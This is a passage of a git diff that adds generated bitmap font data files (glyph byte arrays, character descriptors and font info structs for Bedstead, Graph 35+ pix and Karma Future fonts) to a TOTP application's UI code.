4 */ + {13, 192}, /* 5 */ + {13, 224}, /* 6 */ + {13, 256}, /* 7 */ + {13, 288}, /* 8 */ + {13, 320}, /* 9 */ + {0, 0}, /* : */ + {0, 0}, /* ; */ + {0, 0}, /* < */ + {0, 0}, /* = */ + {0, 0}, /* > */ + {0, 0}, /* ? */ + {0, 0}, /* @ */ + {0, 0}, /* A */ + {13, 352}, /* B */ + {13, 384}, /* C */ + {13, 416}, /* D */ + {0, 0}, /* E */ + {13, 448}, /* F */ + {13, 480}, /* G */ + {13, 512}, /* H */ + {0, 0}, /* I */ + {13, 544}, /* J */ + {13, 576}, /* K */ + {0, 0}, /* L */ + {13, 608}, /* M */ + {13, 640}, /* N */ + {0, 0}, /* O */ + {13, 672}, /* P */ + {13, 704}, /* Q */ + {13, 736}, /* R */ + {0, 0}, /* S */ + {13, 768}, /* T */ + {0, 0}, /* U */ + {13, 800}, /* V */ + {13, 832}, /* W */ + {13, 864}, /* X */ + {13, 896}, /* Y */ +}; + +/* Font information for Bedstead 17pt */ +const FONT_INFO bedstead_17ptFontInfo = { + 16, /* Character height */ + '-', /* Start character */ + 'Y', /* End character */ + 2, /* Width, in pixels, of space character */ + bedstead_17ptDescriptors, /* Character descriptor array */ + bedstead_17ptBitmaps, /* Character bitmap array */ +}; diff --git a/applications/external/totp/ui/fonts/bedstead/bedstead.h b/applications/external/totp/ui/fonts/bedstead/bedstead.h new file mode 100644 index 000000000..0f4c10949 --- /dev/null +++ b/applications/external/totp/ui/fonts/bedstead/bedstead.h @@ -0,0 +1,8 @@ +#pragma once + +/* GENERATED BY https://github.com/pavius/the-dot-factory */ + +#include "../font_info.h" + +/* Font data for Bedstead 17pt */ +extern const FONT_INFO bedstead_17ptFontInfo; diff --git a/applications/external/totp/ui/fonts/graph35pix/graph35pix.c b/applications/external/totp/ui/fonts/graph35pix/graph35pix.c new file mode 100644 index 000000000..fd93d4de9 --- /dev/null +++ b/applications/external/totp/ui/fonts/graph35pix/graph35pix.c @@ -0,0 +1,940 @@ +#include "graph35pix.h" + +/* GENERATED BY https://github.com/pavius/the-dot-factory */ + +/* +** Font data for Graph 35+ pix 12pt +*/ + +/* Character bitmaps for Graph 35+ pix 12pt */ +const uint8_t graph35pix_12ptBitmaps[] = { + /* @0 '-' (10 pixels wide) */ + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0xFF, + 0x03, + 0xFF, + 0x03, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + + /* @28 '0' (10 pixels wide) */ + 0xFC, + 0x00, + 0xFC, + 0x00, + 0x03, + 0x03, + 0x03, + 0x03, + 0xC3, + 0x03, + 0xC3, + 0x03, + 0x33, + 0x03, + 0x33, + 0x03, + 0x0F, + 0x03, + 0x0F, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0xFC, + 0x00, + 0xFC, + 0x00, + + /* @56 '1' (10 pixels wide) */ + 0x30, + 0x00, + 0x30, + 0x00, + 0x3C, + 0x00, + 0x3C, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0xFC, + 0x00, + 0xFC, + 0x00, + + /* @84 '2' (10 pixels wide) */ + 0xFC, + 0x00, + 0xFC, + 0x00, + 0x03, + 0x03, + 0x03, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0xFF, + 0x03, + 0xFF, + 0x03, + + /* @112 '3' (10 pixels wide) */ + 0xFF, + 0x03, + 0xFF, + 0x03, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0x00, + 0x03, + 0x00, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0xFC, + 0x00, + 0xFC, + 0x00, + + /* @140 '4' (10 pixels wide) */ + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xF0, + 0x00, + 0xF0, + 0x00, + 0xCC, + 0x00, + 0xCC, + 0x00, + 0xC3, + 0x00, + 0xC3, + 0x00, + 0xFF, + 0x03, + 0xFF, + 0x03, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + + /* @168 '5' (10 pixels wide) */ + 0xFF, + 0x03, + 0xFF, + 0x03, + 0x03, + 0x00, + 0x03, + 0x00, + 0xFF, + 0x00, + 0xFF, + 0x00, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0xFC, + 0x00, + 0xFC, + 0x00, + + /* @196 '6' (10 pixels wide) */ + 0xF0, + 0x00, + 0xF0, + 0x00, + 0x0C, + 0x00, + 0x0C, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + 0xFF, + 0x00, + 0xFF, + 0x00, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0xFC, + 0x00, + 0xFC, + 0x00, + + /* @224 '7' (10 pixels wide) */ + 0xFF, + 0x03, + 0xFF, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + + /* @252 '8' (10 pixels wide) */ + 0xFC, + 0x00, + 0xFC, + 0x00, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0xFC, + 0x00, + 0xFC, + 0x00, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0xFC, + 0x00, + 0xFC, + 0x00, + + /* @280 '9' (10 pixels wide) */ + 0xFC, + 0x00, + 0xFC, + 0x00, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0xFC, + 0x03, + 0xFC, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0x3C, + 0x00, + 0x3C, + 0x00, + + /* @308 'B' (10 pixels wide) */ + 0xFF, + 0x00, + 0xFF, + 0x00, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0xFF, + 0x00, + 0xFF, + 0x00, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0xFF, + 0x00, + 0xFF, + 0x00, + + /* @336 'C' (10 pixels wide) */ + 0xFC, + 0x00, + 0xFC, + 0x00, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0x03, + 0x03, + 0x03, + 0xFC, + 0x00, + 0xFC, + 0x00, + + /* @364 'D' (10 pixels wide) */ + 0x3F, + 0x00, + 0x3F, + 0x00, + 0xC3, + 0x00, + 0xC3, + 0x00, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0xC3, + 0x00, + 0xC3, + 0x00, + 0x3F, + 0x00, + 0x3F, + 0x00, + + /* @392 'F' (10 pixels wide) */ + 0xFF, + 0x03, + 0xFF, + 0x03, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + 0xFF, + 0x00, + 0xFF, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + + /* @420 'G' (10 pixels wide) */ + 0xFC, + 0x00, + 0xFC, + 0x00, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x00, + 0x03, + 0x00, + 0xF3, + 0x03, + 0xF3, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0xFC, + 0x03, + 0xFC, + 0x03, + + /* @448 'H' (10 pixels wide) */ + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0xFF, + 0x03, + 0xFF, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + + /* @476 'J' (10 pixels wide) */ + 0xF0, + 0x03, + 0xF0, + 0x03, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC0, + 0x00, + 0xC3, + 0x00, + 0xC3, + 0x00, + 0x3C, + 0x00, + 0x3C, + 0x00, + + /* @504 'K' (10 pixels wide) */ + 0x03, + 0x03, + 0x03, + 0x03, + 0xC3, + 0x00, + 0xC3, + 0x00, + 0x33, + 0x00, + 0x33, + 0x00, + 0x0F, + 0x00, + 0x0F, + 0x00, + 0x33, + 0x00, + 0x33, + 0x00, + 0xC3, + 0x00, + 0xC3, + 0x00, + 0x03, + 0x03, + 0x03, + 0x03, + + /* @532 'M' (10 pixels wide) */ + 0x03, + 0x03, + 0x03, + 0x03, + 0xCF, + 0x03, + 0xCF, + 0x03, + 0x33, + 0x03, + 0x33, + 0x03, + 0x33, + 0x03, + 0x33, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + + /* @560 'N' (10 pixels wide) */ + 0x03, + 0x03, + 0x03, + 0x03, + 0x0F, + 0x03, + 0x0F, + 0x03, + 0x0F, + 0x03, + 0x0F, + 0x03, + 0x33, + 0x03, + 0x33, + 0x03, + 0xC3, + 0x03, + 0xC3, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + + /* @588 'P' (10 pixels wide) */ + 0xFF, + 0x00, + 0xFF, + 0x00, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0xFF, + 0x00, + 0xFF, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + 0x03, + 0x00, + + /* @616 'Q' (10 pixels wide) */ + 0xFC, + 0x00, + 0xFC, + 0x00, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x33, + 0x03, + 0x33, + 0x03, + 0xC3, + 0x00, + 0xC3, + 0x00, + 0x3C, + 0x03, + 0x3C, + 0x03, + + /* @644 'R' (10 pixels wide) */ + 0xFF, + 0x00, + 0xFF, + 0x00, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0xFF, + 0x00, + 0xFF, + 0x00, + 0x33, + 0x00, + 0x33, + 0x00, + 0xC3, + 0x00, + 0xC3, + 0x00, + 0x03, + 0x03, + 0x03, + 0x03, + + /* @672 'T' (10 pixels wide) */ + 0xFF, + 0x03, + 0xFF, + 0x03, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + + /* @700 'V' (10 pixels wide) */ + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0xCC, + 0x00, + 0xCC, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + + /* @728 'W' (10 pixels wide) */ + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x33, + 0x03, + 0x33, + 0x03, + 0x33, + 0x03, + 0x33, + 0x03, + 0x33, + 0x03, + 0x33, + 0x03, + 0xCC, + 0x00, + 0xCC, + 0x00, + + /* @756 'X' (10 pixels wide) */ + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0xCC, + 0x00, + 0xCC, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0xCC, + 0x00, + 0xCC, + 0x00, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + + /* @784 'Y' (10 pixels wide) */ + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0x03, + 0xCC, + 0x00, + 0xCC, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, + 0x30, + 0x00, +}; + +/* Character descriptors for Graph 35+ pix 12pt */ +/* { [Char width in bits], [Offset into graph35pix_12ptCharBitmaps in bytes] } */ +const FONT_CHAR_INFO graph35pix_12ptDescriptors[] = { + {10, 0}, /* - */ + {0, 0}, /* . */ + {0, 0}, /* / */ + {10, 28}, /* 0 */ + {10, 56}, /* 1 */ + {10, 84}, /* 2 */ + {10, 112}, /* 3 */ + {10, 140}, /* 4 */ + {10, 168}, /* 5 */ + {10, 196}, /* 6 */ + {10, 224}, /* 7 */ + {10, 252}, /* 8 */ + {10, 280}, /* 9 */ + {0, 0}, /* : */ + {0, 0}, /* ; */ + {0, 0}, /* < */ + {0, 0}, /* = */ + {0, 0}, /* > */ + {0, 0}, /* ? */ + {0, 0}, /* @ */ + {0, 0}, /* A */ + {10, 308}, /* B */ + {10, 336}, /* C */ + {10, 364}, /* D */ + {0, 0}, /* E */ + {10, 392}, /* F */ + {10, 420}, /* G */ + {10, 448}, /* H */ + {0, 0}, /* I */ + {10, 476}, /* J */ + {10, 504}, /* K */ + {0, 0}, /* L */ + {10, 532}, /* M */ + {10, 560}, /* N */ + {0, 0}, /* O */ + {10, 588}, /* P */ + {10, 616}, /* Q */ + {10, 644}, /* R */ + {0, 0}, /* S */ + {10, 672}, /* T */ + {0, 0}, /* U */ + {10, 700}, /* V */ + {10, 728}, /* W */ + {10, 756}, /* X */ + {10, 784}, /* Y */ +}; + +/* Font information for Graph 35+ pix 12pt */ +const FONT_INFO graph35pix_12ptFontInfo = { + 14, /* Character height */ + '-', /* Start character */ + 'Y', /* End character */ + 2, /* Width, in pixels, of space character */ + graph35pix_12ptDescriptors, /* Character descriptor array */ + graph35pix_12ptBitmaps, /* Character bitmap array */ +}; diff --git a/applications/external/totp/ui/fonts/graph35pix/graph35pix.h b/applications/external/totp/ui/fonts/graph35pix/graph35pix.h new file mode 100644 index 000000000..07838e3ba --- /dev/null +++ b/applications/external/totp/ui/fonts/graph35pix/graph35pix.h @@ -0,0 +1,8 @@ +#pragma once + +/* GENERATED BY https://github.com/pavius/the-dot-factory */ + +#include "../font_info.h" + +/* Font data for Graph 35+ pix 12pt */ +extern const FONT_INFO graph35pix_12ptFontInfo; diff --git a/applications/external/totp/ui/fonts/karma_future/karma_future.c b/applications/external/totp/ui/fonts/karma_future/karma_future.c new file mode 100644 index 000000000..ed6201441 --- /dev/null +++ b/applications/external/totp/ui/fonts/karma_future/karma_future.c @@ -0,0 +1,1172 @@ +#include "karma_future.h" + +/* GENERATED BY https://github.com/pavius/the-dot-factory */ + +/* +** Font data for Karma Future 14pt +*/ + +/* Character bitmaps for Karma Future 14pt */ +const uint8_t karmaFuture_14ptBitmaps[] = { + /* @0 '-' (12 pixels wide) */ + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0xFE, + 0x03, + 0x02, + 0x02, + 0x02, + 0x02, + 0xFE, + 0x03, + 0xFC, + 0x03, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + + /* @36 '0' (12 pixels wide) */ + 0xF8, + 0x01, + 0x0E, + 0x03, + 0x02, + 0x06, + 0xF3, + 0x06, + 0xF9, + 0x0C, + 0x79, + 0x0C, + 0x39, + 0x0D, + 0x99, + 0x0C, + 0xC9, + 0x0C, + 0xE9, + 0x0C, + 0xF1, + 0x0C, + 0xF1, + 0x0C, + 0xF1, + 0x0C, + 0xF3, + 0x0E, + 0x02, + 0x0E, + 0x0E, + 0x07, + 0xFC, + 0x07, + 0xF8, + 0x01, + + /* @72 '1' (12 pixels wide) */ + 0x70, + 0x00, + 0xD8, + 0x00, + 0xCE, + 0x00, + 0xC2, + 0x00, + 0xC2, + 0x00, + 0xDE, + 0x00, + 0xDC, + 0x00, + 0xDC, + 0x00, + 0xD0, + 0x00, + 0xD0, + 0x00, + 0xD0, + 0x00, + 0xD0, + 0x00, + 0xD0, + 0x00, + 0xDE, + 0x03, + 0x02, + 0x02, + 0x02, + 0x02, + 0xFE, + 0x03, + 0xFC, + 0x03, + + /* @108 '2' (12 pixels wide) */ + 0xFC, + 0x03, + 0x06, + 0x03, + 0x03, + 0x06, + 0xF1, + 0x04, + 0xF9, + 0x0C, + 0xF9, + 0x0C, + 0x7F, + 0x0E, + 0x3E, + 0x0F, + 0x1E, + 0x0F, + 0x90, + 0x07, + 0xC8, + 0x03, + 0xE4, + 0x01, + 0xE6, + 0x00, + 0xF3, + 0x07, + 0x01, + 0x0C, + 0x01, + 0x0C, + 0xFF, + 0x0F, + 0xFE, + 0x0F, + + /* @144 '3' (12 pixels wide) */ + 0xFC, + 0x03, + 0x06, + 0x03, + 0x03, + 0x06, + 0xF1, + 0x04, + 0xF9, + 0x0C, + 0xFF, + 0x0C, + 0xFE, + 0x0C, + 0x0E, + 0x0E, + 0x08, + 0x0F, + 0xF8, + 0x0E, + 0xF8, + 0x04, + 0xFF, + 0x0C, + 0xF9, + 0x0C, + 0xF1, + 0x0C, + 0x03, + 0x0E, + 0x06, + 0x0F, + 0xFC, + 0x07, + 0xFC, + 0x03, + + /* @180 '4' (12 pixels wide) */ + 0xE0, + 0x03, + 0x30, + 0x03, + 0x10, + 0x03, + 0x08, + 0x03, + 0x4C, + 0x03, + 0x64, + 0x03, + 0x72, + 0x03, + 0x73, + 0x03, + 0x79, + 0x03, + 0x01, + 0x04, + 0x01, + 0x0C, + 0x7F, + 0x0F, + 0x7E, + 0x0F, + 0x7E, + 0x0F, + 0x40, + 0x03, + 0x40, + 0x03, + 0xC0, + 0x03, + 0x80, + 0x03, + + /* @216 '5' (12 pixels wide) */ + 0xFF, + 0x07, + 0x01, + 0x0C, + 0x01, + 0x0C, + 0xF9, + 0x0F, + 0xF9, + 0x0F, + 0xF9, + 0x0F, + 0x01, + 0x03, + 0x03, + 0x06, + 0xFE, + 0x04, + 0xFE, + 0x0C, + 0xFC, + 0x0C, + 0xFF, + 0x0C, + 0xF9, + 0x0C, + 0xF1, + 0x0C, + 0x03, + 0x0E, + 0x06, + 0x0F, + 0xFC, + 0x07, + 0xF8, + 0x03, + + /* @252 '6' (12 pixels wide) */ + 0xF0, + 0x03, + 0x10, + 0x03, + 0x08, + 0x03, + 0xCC, + 0x03, + 0xE6, + 0x03, + 0xF2, + 0x03, + 0xF2, + 0x00, + 0x01, + 0x03, + 0x01, + 0x06, + 0xF1, + 0x04, + 0xF9, + 0x0C, + 0xF9, + 0x0C, + 0xF9, + 0x0C, + 0xF1, + 0x0C, + 0x03, + 0x0E, + 0x06, + 0x0F, + 0xFC, + 0x07, + 0xF8, + 0x03, + + /* @288 '7' (12 pixels wide) */ + 0xFF, + 0x07, + 0x01, + 0x0C, + 0x01, + 0x0C, + 0xFF, + 0x0E, + 0xFE, + 0x0E, + 0x7E, + 0x0F, + 0x40, + 0x07, + 0x60, + 0x07, + 0x20, + 0x03, + 0x30, + 0x03, + 0x90, + 0x01, + 0x90, + 0x01, + 0xD0, + 0x00, + 0xC8, + 0x00, + 0xE8, + 0x00, + 0xE8, + 0x00, + 0x78, + 0x00, + 0x78, + 0x00, + + /* @324 '8' (12 pixels wide) */ + 0xF8, + 0x01, + 0x0C, + 0x01, + 0x06, + 0x03, + 0x72, + 0x06, + 0xF2, + 0x06, + 0xF2, + 0x06, + 0x72, + 0x06, + 0x06, + 0x07, + 0x02, + 0x06, + 0xF1, + 0x04, + 0xF9, + 0x0C, + 0xF9, + 0x0C, + 0xF9, + 0x0C, + 0xF1, + 0x0C, + 0x03, + 0x0E, + 0x06, + 0x0F, + 0xFC, + 0x07, + 0xF8, + 0x03, + + /* @360 '9' (12 pixels wide) */ + 0xFC, + 0x03, + 0x06, + 0x03, + 0x03, + 0x06, + 0xF1, + 0x04, + 0xF9, + 0x0C, + 0xF9, + 0x0C, + 0xF1, + 0x0C, + 0x03, + 0x0C, + 0x06, + 0x0C, + 0xFE, + 0x0E, + 0x7C, + 0x0E, + 0x38, + 0x0F, + 0x30, + 0x07, + 0x1C, + 0x07, + 0x84, + 0x03, + 0xC4, + 0x01, + 0xFC, + 0x00, + 0xF8, + 0x00, + + /* @396 'B' (12 pixels wide) */ + 0xFE, + 0x01, + 0x02, + 0x03, + 0x02, + 0x02, + 0x72, + 0x06, + 0xF2, + 0x06, + 0xF2, + 0x06, + 0x72, + 0x06, + 0x02, + 0x06, + 0x02, + 0x06, + 0xF2, + 0x0C, + 0xF2, + 0x0D, + 0xF2, + 0x0D, + 0xF2, + 0x0D, + 0xF2, + 0x0C, + 0x02, + 0x0E, + 0x02, + 0x0E, + 0xFE, + 0x07, + 0xFC, + 0x03, + + /* @432 'C' (12 pixels wide) */ + 0xF0, + 0x03, + 0x18, + 0x02, + 0x0C, + 0x06, + 0xE4, + 0x0C, + 0xE6, + 0x0D, + 0xF2, + 0x0F, + 0x72, + 0x0F, + 0x32, + 0x0F, + 0x12, + 0x00, + 0x12, + 0x00, + 0x12, + 0x00, + 0x32, + 0x07, + 0xA6, + 0x0D, + 0xE4, + 0x0C, + 0x08, + 0x0E, + 0x18, + 0x0E, + 0xF0, + 0x07, + 0xF0, + 0x03, + + /* @468 'D' (12 pixels wide) */ + 0xFE, + 0x01, + 0x02, + 0x03, + 0x02, + 0x02, + 0x72, + 0x06, + 0xF2, + 0x06, + 0xF2, + 0x0D, + 0xF2, + 0x0D, + 0xF2, + 0x0D, + 0xF2, + 0x0D, + 0xF2, + 0x0D, + 0xF2, + 0x0D, + 0xF2, + 0x0E, + 0xF2, + 0x0E, + 0x72, + 0x0E, + 0x02, + 0x06, + 0x02, + 0x07, + 0xFE, + 0x03, + 0xFC, + 0x01, + + /* @504 'F' (12 pixels wide) */ + 0xFE, + 0x07, + 0x02, + 0x0C, + 0x02, + 0x0C, + 0xF2, + 0x0F, + 0xF2, + 0x0F, + 0xF2, + 0x0F, + 0x12, + 0x00, + 0xF2, + 0x03, + 0x02, + 0x02, + 0xF2, + 0x03, + 0xF2, + 0x03, + 0xF2, + 0x03, + 0x12, + 0x00, + 0x12, + 0x00, + 0x12, + 0x00, + 0x12, + 0x00, + 0x1E, + 0x00, + 0x1C, + 0x00, + + /* @540 'G' (12 pixels wide) */ + 0xF0, + 0x07, + 0x18, + 0x06, + 0x0C, + 0x0C, + 0xE4, + 0x0D, + 0xE6, + 0x0F, + 0xF2, + 0x0F, + 0xF2, + 0x0F, + 0x32, + 0x04, + 0x32, + 0x0C, + 0xF2, + 0x0D, + 0xF2, + 0x0D, + 0xE6, + 0x0D, + 0xE6, + 0x0D, + 0xE4, + 0x0D, + 0x08, + 0x0C, + 0x18, + 0x0C, + 0xF0, + 0x0F, + 0xF0, + 0x0F, + + /* @576 'H' (12 pixels wide) */ + 0x1E, + 0x07, + 0x12, + 0x0D, + 0x12, + 0x0D, + 0x12, + 0x0D, + 0x12, + 0x0D, + 0x12, + 0x0D, + 0x12, + 0x0D, + 0xF2, + 0x0D, + 0x02, + 0x0C, + 0xF2, + 0x0D, + 0xF2, + 0x0D, + 0xF2, + 0x0D, + 0x12, + 0x0D, + 0x12, + 0x0D, + 0x12, + 0x0D, + 0x12, + 0x0D, + 0x1E, + 0x0F, + 0x1C, + 0x0F, + + /* @612 'J' (12 pixels wide) */ + 0x80, + 0x03, + 0x80, + 0x06, + 0x80, + 0x06, + 0x80, + 0x06, + 0x80, + 0x06, + 0x80, + 0x06, + 0x80, + 0x06, + 0x80, + 0x06, + 0x80, + 0x06, + 0x80, + 0x06, + 0x8E, + 0x06, + 0x8A, + 0x06, + 0xDA, + 0x06, + 0x72, + 0x06, + 0x02, + 0x06, + 0x06, + 0x03, + 0xFC, + 0x03, + 0xF8, + 0x01, + + /* @648 'K' (12 pixels wide) */ + 0x1E, + 0x07, + 0x92, + 0x0D, + 0xD2, + 0x0C, + 0x72, + 0x0E, + 0x32, + 0x0E, + 0x12, + 0x0F, + 0x92, + 0x07, + 0xC2, + 0x03, + 0xC2, + 0x01, + 0x92, + 0x01, + 0x12, + 0x01, + 0x32, + 0x02, + 0x32, + 0x02, + 0x72, + 0x06, + 0xD2, + 0x0C, + 0x92, + 0x0D, + 0x9E, + 0x0F, + 0x1C, + 0x0F, + + /* @684 'M' (12 pixels wide) */ + 0x1E, + 0x07, + 0x92, + 0x0D, + 0xA2, + 0x0C, + 0xE2, + 0x0C, + 0x62, + 0x0C, + 0x62, + 0x0C, + 0x12, + 0x0D, + 0x12, + 0x0D, + 0x92, + 0x0D, + 0x92, + 0x0D, + 0xF2, + 0x0D, + 0xF2, + 0x0D, + 0xF2, + 0x0D, + 0x12, + 0x0D, + 0x12, + 0x0D, + 0x12, + 0x0D, + 0x1E, + 0x0F, + 0x1C, + 0x0F, + + /* @720 'N' (12 pixels wide) */ + 0x1E, + 0x07, + 0x12, + 0x0D, + 0x22, + 0x0D, + 0x62, + 0x0D, + 0x62, + 0x0D, + 0xD2, + 0x0D, + 0xD2, + 0x0D, + 0x92, + 0x0D, + 0x92, + 0x0D, + 0x32, + 0x0D, + 0x32, + 0x0D, + 0x72, + 0x0C, + 0x52, + 0x0C, + 0xD2, + 0x0C, + 0x92, + 0x0C, + 0x92, + 0x0D, + 0x1E, + 0x0F, + 0x1C, + 0x0F, + + /* @756 'P' (12 pixels wide) */ + 0xFE, + 0x03, + 0x02, + 0x02, + 0x02, + 0x06, + 0xF2, + 0x0C, + 0xF2, + 0x0D, + 0xF2, + 0x0D, + 0xF2, + 0x0D, + 0xF2, + 0x0C, + 0x02, + 0x0E, + 0x02, + 0x0E, + 0xF2, + 0x0F, + 0xF2, + 0x07, + 0xF2, + 0x03, + 0x12, + 0x00, + 0x12, + 0x00, + 0x12, + 0x00, + 0x1E, + 0x00, + 0x1C, + 0x00, + + /* @792 'Q' (12 pixels wide) */ + 0xF0, + 0x01, + 0x18, + 0x03, + 0x0C, + 0x02, + 0x64, + 0x06, + 0xE6, + 0x06, + 0xF2, + 0x0D, + 0xF2, + 0x0D, + 0xF2, + 0x0D, + 0xF2, + 0x0D, + 0xF2, + 0x0D, + 0x32, + 0x0D, + 0x26, + 0x0E, + 0x26, + 0x0E, + 0x64, + 0x0E, + 0x08, + 0x0C, + 0x18, + 0x0D, + 0xF0, + 0x0F, + 0xF0, + 0x0F, + + /* @828 'R' (12 pixels wide) */ + 0xFE, + 0x03, + 0x02, + 0x02, + 0x02, + 0x06, + 0xF2, + 0x0C, + 0xF2, + 0x0D, + 0xF2, + 0x0D, + 0xF2, + 0x0D, + 0xF2, + 0x0C, + 0x02, + 0x0E, + 0x02, + 0x0E, + 0x12, + 0x0F, + 0x32, + 0x06, + 0x32, + 0x06, + 0x72, + 0x06, + 0xD2, + 0x0C, + 0x92, + 0x0D, + 0x9E, + 0x0F, + 0x1C, + 0x0F, + + /* @864 'T' (12 pixels wide) */ + 0xFE, + 0x03, + 0x02, + 0x02, + 0x02, + 0x02, + 0xDE, + 0x03, + 0xDC, + 0x03, + 0xDC, + 0x03, + 0xD0, + 0x00, + 0xD0, + 0x00, + 0xD0, + 0x00, + 0xD0, + 0x00, + 0xD0, + 0x00, + 0xD0, + 0x00, + 0xD0, + 0x00, + 0xD0, + 0x00, + 0xD0, + 0x00, + 0xD0, + 0x00, + 0xF0, + 0x00, + 0xF0, + 0x00, + + /* @900 'V' (12 pixels wide) */ + 0x1E, + 0x07, + 0x12, + 0x0D, + 0x12, + 0x0D, + 0x92, + 0x0D, + 0xA6, + 0x0E, + 0xA4, + 0x0E, + 0xA4, + 0x0E, + 0xE4, + 0x06, + 0x6C, + 0x06, + 0x68, + 0x06, + 0x68, + 0x02, + 0x18, + 0x03, + 0x10, + 0x03, + 0x10, + 0x01, + 0x90, + 0x01, + 0x90, + 0x01, + 0xE0, + 0x01, + 0xE0, + 0x01, + + /* @936 'W' (12 pixels wide) */ + 0x1E, + 0x07, + 0x12, + 0x0D, + 0x12, + 0x0D, + 0x12, + 0x0D, + 0x12, + 0x0D, + 0x12, + 0x0D, + 0x12, + 0x0D, + 0x12, + 0x0D, + 0xF2, + 0x0D, + 0x92, + 0x0D, + 0x12, + 0x0D, + 0x62, + 0x0C, + 0x62, + 0x0C, + 0xE2, + 0x0C, + 0xE2, + 